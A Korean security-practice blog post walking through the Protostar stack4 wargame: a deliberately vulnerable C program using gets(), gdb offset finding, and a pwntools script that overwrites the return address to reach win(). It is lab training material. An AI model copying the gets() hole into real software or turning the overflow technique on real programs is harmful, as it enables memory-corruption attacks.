Protostar stack - 4 pwn, return 덮어씌워서 코드 흐름 변경

2024. 5. 18. 03:47·시스템 해킹
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
char buffer[64];

gets(buffer);
}

 

stack 4 번의 문제이다

 

return을 하게되어있어서

main도 중간에 실행이되서  stuck프로그램이라고하는데 중간에 main으로 빠지고 돌아오는데

이떄 return주소를 win으로 바꾸게되면 win이 실행된다

 

return -> ebp -> buffer 

버퍼를 변조하면 win을 실행하게만들수 있다.

 

 

 

gcc -z execstack -no-pie -w -o stack4 stack4.c

gdb ./stack4

 

call 에서 bof가 발생하고

return하는 시점에서 win으로 돌아가서 실행하는 것

 

b *main+38

pattern create 100

run

AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

 

 

IAAeAA4AAJAAfAA5AAKAAgAA6AAL

return하는 시점에 스택에있는 데이터를 꺼내와서 실행한다 스택에 있는ㄷ 첫번쨰 있는거를 가져와서 리턴하게된다

 

 

 

IAAeAA4AAJAAfAA5AAKAAgAA6AAL

스택에있는 첫번째문자를 찾아서 72번쨰라는것을 알았다.

 

 

disas win

 

disas win을 통하여 첫번쨰 주소인  0x0000000000401136를 확인한다

 

win_addr = 0x0000000000401136

 

이제 pwn 툴을 활용하여 코드를 작성한다.

 

from pwn import *

p = process('./stack4')

win_addr = p64(0x0000000000401136)
# p64로 묶어주면 64비트짜리 포인트로 동작을 한다 8바이트짜리임.
payload = b'A'*72 + win_addr
# 문자열 앞에 b를 붙여 바이트코드임을 명시 offset 72를 넣어줌

p.sendline(payload)
# 시작하자마자 페이로드를 보낸다
print (p.recvrepeat(1))
# 보낸직후에 리시브리핏을통해 1초동안 데이터를 받는다.

 

exploit 코드를 작성하여 문제를 푸는 코드를 만든다.

 

 

 

 

 

해당 exploit 코드를작성하여 실행 하였을떄  code flow successfully changed 가 동작한것을 확인했다

 

return 할때 win함수를 실행하도록 코드의 흐름을 변경하였다.

 

저작자표시 비영리 변경금지

'시스템 해킹' 카테고리의 다른 글

Protostar stack - 6 함정을 지나 ret하기  (0) 2024.05.19
Protostar stack - 5 쉘코드 생성, 리눅스 어태치 방법  (0) 2024.05.18
Protostar stack - 3 pwn 툴 사용해서 공격  (0) 2024.05.16
Protostar stack - 2 peda 사용  (1) 2024.05.16
Protostar - stack 1  (1) 2024.05.16
'시스템 해킹' 카테고리의 다른 글
  • Protostar stack - 6 함정을 지나 ret하기
  • Protostar stack - 5 쉘코드 생성, 리눅스 어태치 방법
  • Protostar stack - 3 pwn 툴 사용해서 공격
  • Protostar stack - 2 peda 사용
taktaks
taktaks
보안 연습 일기장입니다. 모든 연습은 불법적인 용도로 사용하지 말아주시길 부탁드립니다. 용무는 wndudxkr2005@gmail.com 메일 부탁드립니다.
  • taktaks
    taktaks
    taktaks
  • 전체
    오늘
    어제
    • 보안 일지 (280)
      • 네트워크 구축 (12)
      • 리눅스 보안구축 (10)
      • 파이썬 기본 (11)
      • Web hacking (39)
      • 통합 인프라 보안 (41)
      • 공격기법 및 탐지 (33)
      • 악성코드 및 포렌식 (93)
      • 리버싱 (5)
      • 시스템 해킹 (20)
      • C 언어 (12)
  • 블로그 메뉴

    • 링크

    • 공지사항

    • 인기 글

    • 태그

      프롯
    • 최근 댓글

    • 최근 글

    • hELLO· Designed By정상우.v4.10.3
    taktaks
    Protostar stack - 4 pwn, return 덮어씌워서 코드 흐름 변경
    상단으로

    티스토리툴바